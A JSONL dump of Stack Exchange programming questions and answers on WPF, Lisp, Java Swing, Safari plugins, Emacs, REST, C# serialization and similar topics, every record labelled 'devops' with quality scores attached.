{"id": "hf_fb1d09a5986e", "question": "<p>Every sample that I have seen uses static XML in the xmldataprovider source, which is then used to databind UI controls using XPath binding. \nIdea is to edit a dynamic XML (structure known to the developer during coding), using the WPF UI.</p>\n\n<p>Has anyone found a way to load a dynamic xml string (for example load it from a file during runtime), then use that xml string as the XmlDataprovider source? </p>\n\n<p>Code snippets would be great.</p>\n\n<p>Update: To make it more clear,\nLet's say I want to load an xml string I received from a web service call. I know the structure of the xml. So I databind it to WPF UI controls on the WPF Window. How to make this work? All the samples over the web, define the whole XML inside the XAML code in the XmlDataProvider node. This is not what I am looking for. I want to use a xml string in the codebehind to be databound to the UI controls. </p>\n", "question_body": "", "answer": "using your webservice get your XML and create an XML Document from it, You can then set the Source of your xmlDataProvider to the XMLDocument you got from the service.\nI'm not at a pc with visual studio to test it but it should be possible for you to do this.\nThe steps are as you mentioned in your question:\n```\n1. Get XML from webservice\n2. Convert XML String to XML Document\n3. Set the XMLDataProvider.Document value to your XML Document\n4. Bind that to your controls\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.210717"}
{"id": "hf_ac4268fc4aa7", "question": "<p>I've been working through <a href=\"http://gigamonkeys.com/book\" rel=\"nofollow noreferrer\">Practical Common Lisp</a> and as an exercise decided to write a macro to determine if a number is a multiple of another number:</p>\n\n<p><code>(defmacro multp (value factor)<br>\n   `(= (rem ,value ,factor)  0))</code></p>\n\n<p>so that :\n<code>(multp 40 10)</code>\nevaluates to true whilst\n<code>(multp 40 13)</code>\ndoes not </p>\n\n<p>The question is does this macro <a href=\"http://gigamonkeys.com/book/macros-defining-your-own.html#plugging-the-leaks\" rel=\"nofollow noreferrer\">leak</a> in some way?  Also is this \"good\" Lisp?  Is there already an existing function/macro that I could have used?</p>\n", "question_body": "", "answer": "Siebel gives an extensive rundown (for simple cases anyway) of possible sources of leaks, and there aren't any of those here. Both\n```\nvalue\n```\nand\n```\nfactor\n```\nare evaluated only once and in order, and\n```\nrem\n```\ndoesn't have any side effects.\nThis is not good Lisp though, because there's no reason to use a macro in this case. A function\n```\n```\n(defun multp (value factor)\n  (zerop (rem value factor)))\n```\n```\nis identical for all practical purposes. (Note the use of\n```\nzerop\n```\n. I think it makes things clearer in this case, but in cases where you need to highlight, that the value you're testing might still be meaningful if it's something other then zero,\n```\n(= ... 0)\n```\nmight be better)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.234570"}
{"id": "hf_ba38dc001fac", "question": "<p>How do I implement a draggable tab using Java Swing? Instead of the static JTabbedPane I would like to drag-and-drop a tab to different position to rearrange the tabs.</p>\n\n<p><strong>EDIT</strong>: <a href=\"http://java.sun.com/docs/books/tutorial/uiswing/dnd/index.html\" rel=\"noreferrer\">The Java Tutorials - Drag and Drop and Data Transfer</a>.</p>\n", "question_body": "", "answer": "Found this code out there on the\ntubes\n:\n```\n```\nclass DnDTabbedPane extends JTabbedPane {\n  private static final int LINEWIDTH = 3;\n  private static final String NAME = \"test\";\n  private final GhostGlassPane glassPane = new GhostGlassPane();\n  private final Rectangle2D lineRect   = new Rectangle2D.Double();\n  private final Color     lineColor  = new Color(0, 100, 255);\n  //private final DragSource dragSource  = new DragSource();\n  //private final DropTarget dropTarget;\n  private int dragTabIndex = -1;\n\n  public DnDTabbedPane() {\n    super();\n    final DragSourceListener dsl = new DragSourceListener() {\n      public void dragEnter(DragSourceDragEvent e) {\n        e.getDragSourceContext().setCursor(DragSource.DefaultMoveDrop);\n      }\n      public void dragExit(DragSourceEvent e) {\n        e.getDragSourceContext().setCursor(DragSource.DefaultMoveNoDrop);\n        lineRect.setRect(0,0,0,0);\n        glassPane.setPoint(new Point(-1000,-1000));\n        glassPane.repaint();\n      }\n      public void dragOver(DragSourceDragEvent e) {\n        //e.getLocation()\n        //This method returns a Point indicating the cursor location in screen coordinates at the moment\n        Point tabPt = e.getLocation();\n        SwingUtilities.convertPointFromScreen(tabPt, DnDTabbedPane.this);\n        Point glassPt = e.getLocation();\n        SwingUtilities.convertPointFromScreen(glassPt, glassPane);\n        int targetIdx = getTargetTabIndex(glassPt);\n        if(getTabAreaBound().contains(tabPt) && targetIdx>=0 &&\n           targetIdx!=dragTabIndex && targetIdx!=dragTabIndex+1) {\n          e.getDragSourceContext().setCursor(DragSource.DefaultMoveDrop);\n        }else{\n          e.getDragSourceContext().setCursor(DragSource.DefaultMoveNoDrop);\n        }\n      }\n      public void dragDropEnd(DragSourceDropEvent e) {\n        lineRect.setRect(0,0,0,0);\n        dragTabIndex = -1;\n        if(hasGhost()) {\n          glassPane.setVisible(false);\n          glassPane.setImage(null);\n        }\n      }\n      public void dropActionChanged(DragSourceDragEvent e) {}\n    };\n    final Transferable t = new Transferable() {\n      private final DataFlavor FLAVOR = new DataFlavor(DataFlavor.javaJVMLocalObjectMimeType, NAME);\n      public Object getTransferData(DataFlavor flavor) {\n        return DnDTabbedPane.this;\n      }\n      public DataFlavor[] getTransferDataFlavors() {\n        DataFlavor[] f = new DataFlavor[1];\n        f[0] = this.FLAVOR;\n        return f;\n      }\n      public boolean isDataFlavorSupported(DataFlavor flavor) {\n        return flavor.getHumanPresentableName().equals(NAME);\n      }\n    };\n    final DragGestureListener dgl = new DragGestureListener() {\n      public void dragGestureRecognized(DragGestureEvent e) {\n        Point tabPt = e.getDragOrigin();\n        dragTabIndex = indexAtLocation(tabPt.x, tabPt.y);\n        if(dragTabIndex<0) return;\n        initGlassPane(e.getComponent(), e.getDragOrigin());\n        try{\n          e.startDrag(DragSource.DefaultMoveDrop, t, dsl);\n        }catch(InvalidDnDOperationException idoe) {\n          idoe.printStackTrace();\n        }\n      }\n    };\n    //dropTarget =\n    new DropTarget(glassPane, DnDConstants.ACTION_COPY_OR_MOVE, new CDropTargetListener(), true);\n    new DragSource().createDefaultDragGestureRecognizer(this, DnDConstants.ACTION_COPY_OR_MOVE, dgl);\n  }\n\n  class CDropTargetListener implements DropTargetListener{\n    public void dragEnter(DropTargetDragEvent e) {\n      if(isDragAcceptable(e)) e.acceptDrag(e.getDropAction());\n      else e.rejectDrag();\n    }\n    public void dragExit(DropTargetEvent e) {}\n    public void dropActionChanged(DropTargetDragEvent e) {}\n    public void dragOver(final DropTargetDragEvent e) {\n      if(getTabPlacement()==JTabbedPane.TOP || getTabPlacement()==JTabbedPane.BOTTOM) {\n        initTargetLeftRightLine(getTargetTabIndex(e.getLocation()));\n      }else{\n        initTargetTopBottomLine(getTargetTabIndex(e.getLocation()));\n      }\n      repaint();\n      if(hasGhost()) {\n        glassPane.setPoint(e.getLocation());\n        glassPane.repaint();\n      }\n    }\n\n    public void drop(DropTargetDropEvent e) {\n      if(isDropAcceptable(e)) {\n        convertTab(dragTabIndex, getTargetTabIndex(e.getLocation()));\n        e.dropComplete(true);\n      }else{\n        e.dropComplete(false);\n      }\n      repaint();\n    }\n    public boolean isDragAcceptable(DropTargetDragEvent e) {\n      Transferable t = e.getTransferable();\n      if(t==null) return false;\n      DataFlavor[] f = e.getCurrentDataFlavors();\n      if(t.isDataFlavorSupported(f[0]) && dragTabIndex>=0) {\n        return true;\n      }\n      return false;\n    }\n    public boolean isDropAcceptable(DropTargetDropEvent e) {\n      Transferable t = e.getTransferable();\n      if(t==null) return false;\n      DataFlavor[] f = t.getTransferDataFlavors();\n      if(t.isDataFlavorSupported(f[0]) && dragTabIndex>=0) {\n        return true;\n      }\n      return false;\n    }\n  }\n\n  private boolean hasGhost = true;\n  public void setPaintGhost(boolean flag) {\n    hasGhost = flag;\n  }\n  public boolean hasGhost() {\n    return hasGhost;\n  }\n  private int getTargetTabIndex(Point glassPt) {\n    Point tabPt = SwingUtilities.convertPoint(glassPane, glassPt, DnDTabbedPane.this);\n    boolean isTB = getTabPlacement()==JTabbedPane.TOP || getTabPlacement()==JTabbedPane.BOTTOM;\n    for(int i=0;i<getTabCount();i++) {\n      Rectangle r = getBoundsAt(i);\n      if(isTB) r.setRect(r.x-r.width/2, r.y,  r.width, r.height);\n      else   r.setRect(r.x, r.y-r.height/2, r.width, r.height);\n      if(r.contains(tabPt)) return i;\n    }\n    Rectangle r = getBoundsAt(getTabCount()-1);\n    if(isTB) r.setRect(r.x+r.width/2, r.y,  r.width, r.height);\n    else   r.setRect(r.x, r.y+r.height/2, r.width, r.height);\n    return   r.contains(tabPt)?getTabCount():-1;\n  }\n  private void convertTab(int prev, int next) {\n    if(next<0 || prev==next) {\n      //System.out.println(\"press=\"+prev+\" next=\"+next);\n      return;\n    }\n    Component cmp = getComponentAt(prev);\n    String str = getTitleAt(prev);\n    if(next==getTabCount()) {\n      //System.out.println(\"last: press=\"+prev+\" next=\"+next);\n      remove(prev);\n      addTab(str, cmp);\n      setSelectedIndex(getTabCount()-1);\n    }else if(prev>next) {\n      //System.out.println(\"   >: press=\"+prev+\" next=\"+next);\n      remove(prev);\n      insertTab(str, null, cmp, null, next);\n      setSelectedIndex(next);\n    }else{\n      //System.out.println(\"   <: press=\"+prev+\" next=\"+next);\n      remove(prev);\n      insertTab(str, null, cmp, null, next-1);\n      setSelectedIndex(next-1);\n    }\n  }\n\n  private void initTargetLeftRightLine(int next) {\n    if(next<0 || dragTabIndex==next || next-dragTabIndex==1) {\n      lineRect.setRect(0,0,0,0);\n    }else if(next==getTabCount()) {\n      Rectangle rect = getBoundsAt(getTabCount()-1);\n      lineRect.setRect(rect.x+rect.width-LINEWIDTH/2,rect.y,LINEWIDTH,rect.height);\n    }else if(next==0) {\n      Rectangle rect = getBoundsAt(0);\n      lineRect.setRect(-LINEWIDTH/2,rect.y,LINEWIDTH,rect.height);\n    }else{\n      Rectangle rect = getBoundsAt(next-1);\n      lineRect.setRect(rect.x+rect.width-LINEWIDTH/2,rect.y,LINEWIDTH,rect.height);\n    }\n  }\n  private void initTargetTopBottomLine(int next) {\n    if(next<0 || dragTabIndex==next || next-dragTabIndex==1) {\n      lineRect.setRect(0,0,0,0);\n    }else if(next==getTabCount()) {\n      Rectangle rect = getBoundsAt(getTabCount()-1);\n      lineRect.setRect(rect.x,rect.y+rect.height-LINEWIDTH/2,rect.width,LINEWIDTH);\n    }else if(next==0) {\n      Rectangle rect = getBoundsAt(0);\n      lineRect.setRect(rect.x,-LINEWIDTH/2,rect.width,LINEWIDTH);\n    }else{\n      Rectangle rect = getBoundsAt(next-1);\n      lineRect.setRect(rect.x,rect.y+rect.height-LINEWIDTH/2,rect.width,LINEWIDTH);\n    }\n  }\n\n  private void initGlassPane(Component c, Point tabPt) {\n    //Point p = (Point) pt.clone();\n    getRootPane().setGlassPane(glassPane);\n    if(hasGhost()) {\n      Rectangle rect = getBoundsAt(dragTabIndex);\n      BufferedImage image = new BufferedImage(c.getWidth(), c.getHeight(), BufferedImage.TYPE_INT_ARGB);\n      Graphics g = image.getGraphics();\n      c.paint(g);\n      image = image.getSubimage(rect.x,rect.y,rect.width,rect.height);\n      glassPane.setImage(image);\n    }\n    Point glassPt = SwingUtilities.convertPoint(c, tabPt, glassPane);\n    glassPane.setPoint(glassPt);\n    glassPane.setVisible(true);\n  }\n\n  private Rectangle getTabAreaBound() {\n    Rectangle lastTab  = getUI().getTabBounds(this, getTabCount()-1);\n    return new Rectangle(0,0,getWidth(),lastTab.y+lastTab.height);\n  }\n\n  public void paintComponent(Graphics g) {\n    super.paintComponent(g);\n    if(dragTabIndex>=0) {\n      Graphics2D g2 = (Graphics2D)g;\n      g2.setPaint(lineColor);\n      g2.fill(lineRect);\n    }\n  }\n}\n\nclass GhostGlassPane extends JPanel {\n  private final AlphaComposite composite;\n  private Point location = new Point(0, 0);\n  private BufferedImage draggingGhost = null;\n  public GhostGlassPane() {\n    setOpaque(false);\n    composite = AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 0.5f);\n  }\n  public void setImage(BufferedImage draggingGhost) {\n    this.draggingGhost = draggingGhost;\n  }\n  public void setPoint(Point location) {\n    this.location = location;\n  }\n  public void paintComponent(Graphics g) {\n    if(draggingGhost == null) return;\n    Graphics2D g2 = (Graphics2D) g;\n    g2.setComposite(composite);\n    double xx = location.getX() - (draggingGhost.getWidth(this) /2d);\n    double yy = location.getY() - (draggingGhost.getHeight(this)/2d);\n    g2.drawImage(draggingGhost, (int)xx, (int)yy , null);\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.259162"}
{"id": "hf_444a3bac0f2d", "question": "<p>What is the best way to write a Safari extension? I've written a couple XUL extensions for Firefox, and now I'd like to write versions of them for Safari. Is there a way that would allow you to add buttons or forms to the browser UI, since this is not possible with an Input manager or Service menu?</p>\n", "question_body": "", "answer": "Safari plugin development is non-trivial. The interface is written in Objective-C, and most of it is not even part of WebKit (so you can't see the source), but there's machinery to inspect and patch the object hierarchy of a running application. It requires understanding of Cocoa and Objective-C, but no lower.\nHere's a high level overview I had in my bookmarks of the process\nhttp://livingcode.org/2006/tab-dumping-in-safari\n. It goes over creating Safari plugins using Python with working (probably outdated) code. Instead of Python you can use anything that has Objective-C bindings.\nThere are two major parts to it:\nYou need to attach your code to a running Safari. This is typically done with SIMBL\nhttp://www.culater.net/software/SIMBL/SIMBL.php\n.\nOnce you're inside, you need to figure what to patch. There's a tutorial on reversing Cocoa applications\nhttp://www.culater.net/wiki/moin.cgi/CocoaReverseEngineering\n, which links to the most important tool, class-dump\nhttp://www.codethecode.com/projects/class-dump/\n(the link on wiki is broken). Class-dump gives you a complete hierarchy of Safari's classes, where you can guess by names what, specifically, you need to patch. This is a very trial and error mode.\nReading the links above will give you the scope of the project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.284583"}
{"id": "hf_c484624ded41", "question": "<p>I'm not a math guy in the least but I'm interested in learning about rigid body physics (for the purpose of implementing a basic 3d physics engine).  In school I only took Maths through Algebra II, but I've done 3d dev for years so I have a fairly decent understanding of vectors, quaternions, matrices, etc.  My real problem is reading complex formulas and such, so I'm looking for some decent rigid body dynamics references that will make some sense.</p>\n\n<p>Anyone have any good references?</p>\n", "question_body": "", "answer": "Physics for Game Programmers\nI think is better than\nPhysics for Game Developers\n.\nIf you want something thick in your bookshelf (like I do), Eberly's\n3D Game Engine Design\nand Erleben's\nPhysics-Based Animation\ncan accompany the above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.308592"}
{"id": "hf_3e09380b98c1", "question": "<p>I see them all the time and always ignore them. Can someone explain to me why they have become so prevalent?  If I'm using a site that allows me to explore it via tags (e.g., this one, del.icio.us, etc.) that's what I will do.  Why would I need a \"cloud\" of tags upon which to click?  I can just type that tag(s) into a search box.  What am I missing?</p>\n", "question_body": "", "answer": "It's a easy mechanism to determine which tags are most popular or how dense that tag is populated ( amount of tags).\nIt's just a intuative interface, I'm fairly certain that's one of the bigger reason's why they are so popular, that and they are very Web 2.0 also.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.392877"}
{"id": "hf_106e4798899c", "question": "<p>If all of my <code>__init__.py</code> files are empty, do I have to store them into version control, or is there a way to make <code>distutils</code> create empty <code>__init__.py</code> files during installation?</p>\n", "question_body": "", "answer": "In Python,\n```\n__init__.py\n```\nfiles actually have a meaning! They mean that the folder they are in is a Python module. As such, they have a real role in your code and should most probably be stored in Version Control.\nYou could well imagine a folder in your source tree that is NOT a Python module, for example a folder containing only resources (e.g. images) and no code. That folder would not need to have a\n```\n__init__.py\n```\nfile in it. Now how do you make the difference between folders where distutils should create those files and folders where it should not ?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.429457"}
{"id": "hf_b0530e9e204e", "question": "<p>I'm currently playing around with <a href=\"http://pear.php.net/package/HTML_QuickForm\" rel=\"noreferrer\">HTML_QuickForm</a> for generating forms in PHP.  It seems kind of limited in that it's hard to insert my own javascript or customizing the display and grouping of certain elements.</p>\n\n<p>Are there any alternatives to QuickForm that might provide more flexibility?</p>\n", "question_body": "", "answer": "If you find it hard to insert Javascript into the form elements, consider using a JavaScript framework such as\nPrototype\nor\njQuery\n. There, you can centralize the task of injecting event handling into form controls.\nBy that, I mean that you won't need to insert event handlers into the HTML form code. Instead, you register those events from somewhere else. For example, in Prototype you would be able to write something like this:\n```\n```\n$('myFormControl').observe('click', myClickFunction)\n```\n```\nAlso have a look at the answers to\nanother question\n.\n/EDIT: of course, you can also insert custom attributes and thus event handlers into the form elements using HTML_QuickForm. However, the above way is superior.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.480223"}
{"id": "hf_676f4bb30f90", "question": "<p>I'm writing a pretty straightforward <code>e-commerce app</code> in <strong>asp.net</strong>, do I need to use transactions in my stored procedures?</p>\n\n<p>Read/Write ratio is about 9:1</p>\n", "question_body": "", "answer": "Many people ask - do I need transactions? Why do I need them? When to use them?\nThe answer is simple: use them all the time, unless you have a very good reason not to (for instance, don't use atomic transactions for \"long running activities\" between businesses). The default should always be yes. You are in doubt? - use transactions.\nWhy are transactions beneficial? They help you deal with crashes, failures, data consistency, error handling, they help you write simpler code etc. And the list of benefits will continue to grow with time.\nHere is some more info from\nhttp://blogs.msdn.com/florinlazar/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.527227"}
{"id": "hf_30d72a7f5d07", "question": "<p>I am using jQuery. I call a JavaScript function with next html:</p>\n\n<pre><code>&lt;li&gt;&lt;span&gt;&lt;a href=\"javascript:uncheckEl('tagVO-$id')\"&gt;$tagname&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;\n</code></pre>\n\n<p>I would like to remove the <code>li</code> element and I thought this would be easy with the <code>$(this)</code> object. This is my JavaScript function:</p>\n\n<pre><code>function uncheckEl(id) {\n    $(\"#\"+id+\"\").attr(\"checked\",\"\");\n    $(\"#\"+id+\"\").parent(\"li\").css(\"color\",\"black\");                 \n    $(this).parent(\"li\").remove();  // This is not working\n    retrieveItems();\n}\n</code></pre>\n\n<p>But <code>$(this)</code> is undefined. Any ideas?</p>\n", "question_body": "", "answer": "Try something like this (e.g. to hide the\n```\n<li>\n```\n):\n```\n```\nfunction unCheckEl(id, ref) {\n  (...)\n  $(ref).parent().parent().hide(); // this should be your <li>\n}\n```\n```\nAnd your link:\n```\n```\n<a href=\"javascript:uncheckEl('tagVO-$id', \\$(this))\">\n```\n```\n```\n$(this)\n```\nis not present inside your function, because how is it supposed to know where the action is called from? You pass no reference in it, so\n```\n$(this)\n```\ncould refer to everything but the\n```\n<a>\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.580634"}
{"id": "hf_5740c88facc7", "question": "<p>What is the best way to start developing Windows Mobile Professional applications in Python? Is there a reasonable SDK including an emulator? Is it even possible without doing excessive amount of underlaying Windows API calls for UI for instance?</p>\n", "question_body": "", "answer": "Python CE\nPython port for Windows CE (Pocket PC) devices. Intended to be as close to desktop version as possible (console, current directory support, testsuite passed).\n(source:\nsourceforge.net\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.604868"}
{"id": "hf_4e122ea9c448", "question": "<p>Is it possible to to take a screenshot of a webpage with JavaScript and then submit that back to the server?</p>\n\n<p>I'm not so concerned with browser security issues. etc. as the implementation would be for <a href=\"http://msdn.microsoft.com/en-us/library/ms536471(vs.85).aspx\" rel=\"noreferrer\">HTA</a>. But is it possible?</p>\n", "question_body": "", "answer": "You can achieve that using HTA and\nVBScript\n. Just call an external tool to do the screenshotting. I forgot what the name is, but on Windows Vista there is a tool to do screenshots. You don't even need an extra install for it.\nAs for as automatic - it totally depends on the tool you use. If it has an API, I am sure you can trigger the screenshot and saving process through a couple of Visual Basic calls without the user knowing that you did what you did.\nSince you mentioned HTA, I am assuming you are on Windows and (probably) know your environment (e.g. OS and version) very well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.629065"}
{"id": "hf_7dd66e150090", "question": "<p>How to get the phone number of the device in Symbian?</p>\n", "question_body": "", "answer": "FYI: Actually i have found this.\nhttp://www3.symbian.com/faq.nsf/AllByDate/100335073FFD8FEF80256E3200571A49?OpenDocument\nBut the fact is, the phone number is not always stored in SIM. The operator chooses to do it or not!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.664710"}
{"id": "hf_38f21951ca17", "question": "<p>I am fairly new to Emacs and I have been trying to figure out how to change the default folder for <kbd>C-x C-f</kbd> on start-up. For instance when I first load Emacs and hit <kbd>C-x C-f</kbd> its default folder is <code>C:\\emacs\\emacs-21.3\\bin</code>, but I would rather it be the desktop. I believe there is some way to customize the <code>.emacs</code> file to do this, but I am still unsure what that is.</p>\n\n<p>Update: There are three solutions to the problem that I found to work, however I believe solution 3 is Windows only.</p>\n\n<ul>\n<li><p>Solution 1: Add <code>(cd \"C:/Users/Name/Desktop\")</code> to the <code>.emacs</code> file</p></li>\n<li><p>Solution 2: Add <code>(setq default-directory \"C:/Documents and Settings/USER_NAME/Desktop/\")</code> to the <code>.emacs</code> file</p></li>\n<li><p>Solution 3: Right click the Emacs short cut, hit properties and change the start in field to the desired directory.</p></li>\n</ul>\n", "question_body": "", "answer": "I've put\n```\n```\n(cd \"c:/cvsroot/\")\n```\n```\nin my .emacs and it did the job", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.689035"}
{"id": "hf_c75b386c544d", "question": "<p>I am looking for some good links with best practices and sample code on creating <a href=\"http://en.wikipedia.org/wiki/Representational_State_Transfer\" rel=\"noreferrer\">REST</a>ful web services using .NET.  </p>\n\n<p>Also, any other input you might have regarding REST would be greatly appreciated.</p>\n", "question_body": "", "answer": "Windows Communication Foundation\nsupports REST model since .NET 3.5\n.\nYou can find documentation and code samples on MSDN:\nREST and POX\nSome resources to learn REST:\nREST documentation on xFront.com\nArchitectural Styles and the Design\nof Network-based Software\nArchitectures. Chapter 5:\nRepresentational State Transfer\n(REST)\n(Ph.D dissertation of Roy Fielding - author of REST)\nWikipedia entry", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.723228"}
{"id": "hf_4064f5e4fcf8", "question": "<p>Say I have:</p>\n\n<pre><code>void Render(void(*Call)())\n{\n    D3dDevice-&gt;BeginScene();\n    Call();\n    D3dDevice-&gt;EndScene();\n    D3dDevice-&gt;Present(0,0,0,0);\n}\n</code></pre>\n\n<p>This is fine as long as the function I want to use to render is a function or a <code>static</code> member function:</p>\n\n<pre><code>Render(MainMenuRender);\nRender(MainMenu::Render);\n</code></pre>\n\n<p>However, I really want to be able to use a class method as well since in most cases the rendering function will want to access member variables, and Id rather not make the class instance global, e.g.</p>\n\n<pre><code>Render(MainMenu-&gt;Render);\n</code></pre>\n\n<p>However I really have no idea how to do this, and still allow functions and <code>static</code> member functions to be used.</p>\n", "question_body": "", "answer": "You can make a wrapper function\n```\nvoid Wrap(T *t)\n```\nthat just calls\n```\nt->Call()\n```\nand have\n```\nRender\n```\ntake such a function together with an object. That is:\n```\n```\nvoid Wrap(T *t)\n{\n  t->Call();\n}\n\nvoid Render(void (*f)(T *), T *t)\n{\n  ...\n  f(t);\n  ...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.771284"}
{"id": "hf_5ac03bf087e4", "question": "<p>I want something that looks like a file handle but is really backed by an in-memory buffer to use for I/O redirects. How can I do this?</p>\n", "question_body": "", "answer": "This may not be possible.\nGHC\n, at least, seems to require a handle to have an OS file descriptor that is used for all read/write/seek operations.\nSee\n```\n/libraries/base/IOBase.lhs\n```\nfrom the GHC sources.\nYou may be able to get the same effect by enlisting the OS's help: create a temporary file, connect the handle to it and then memory map the file for the I/O redirects. This way, all the handle I/O would become visible in the memory mapped section.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.873592"}
{"id": "hf_f75956eb562b", "question": "<p>Using C# .NET 2.0, I have a composite data class that does have the <code>[Serializable]</code> attribute on it.  I am creating an <code>XMLSerializer</code> class and passing that into the constructor:</p>\n\n<pre><code>XmlSerializer serializer = new XmlSerializer(typeof(DataClass));\n</code></pre>\n\n<p>I am getting an exception saying: </p>\n\n<blockquote>\n  <p>There was an error reflecting type.</p>\n</blockquote>\n\n<p>Inside the data class there is another composite object.  Does this also need to have the <code>[Serializable]</code> attribute, or by having it on the top object, does it recursively apply it to all objects inside?</p>\n", "question_body": "", "answer": "Look at the inner exception that you are getting.  It will tell you which field/property it is having trouble serializing.\nYou can exclude fields/properties from xml serialization by decorating them with the\n```\n[XmlIgnore]\n```\nattribute.\n```\nXmlSerializer\n```\ndoes not use the\n```\n[Serializable]\n```\nattribute, so I doubt that is the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.910426"}
{"id": "hf_db958884177f", "question": "<p>I'm running PHP, Apache, and Windows.  I do not have a domain setup, so I would like my website's forms-based authentication to use the local user accounts database built in to Windows (I think it's called SAM).</p>\n\n<p>I know that if Active Directory is setup, you can use the PHP LDAP module to connect and authenticate in your script, but without AD there is no LDAP.  What is the equivalent for standalone machines?</p>\n", "question_body": "", "answer": "Good Question!\nI've given this some thought... and I can't think of a good solution.  What I can think of is a horrible horrible hack that just might work.  After seeing that no one has posted an answer to this question for nearly a day, I figured a bad, but working answer would be ok.\nThe SAM file is off limits while the system is running.  There are some DLL Injection tricks which you may be able to get working but in the end you'll just end up with password hashes and you'd have to hash the user provided passwords to match against them anyway.\nWhat you really want is something that tries to authenticate the user against the SAM file. I think you can do this by doing something like the following.\nCreate a File Share on the server and make it so that only accounts that you want to be able to log in as are granted access to it.\nIn PHP use the system command to invoke a wsh script that: mounts the share using the username and password that the website user provides. records if it works, and then unmounts the drive if it does.\nCollect the result somehow.  The result can be returned to php either on the stdout of the script, or hopefully using the return code for the script.\nI know it's not pretty, but it should work.\nI feel dirty :|\nEdit: reason for invoking the external wsh script is that PHP doesn't allow you to use UNC  paths (as far as I can remember).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.938543"}
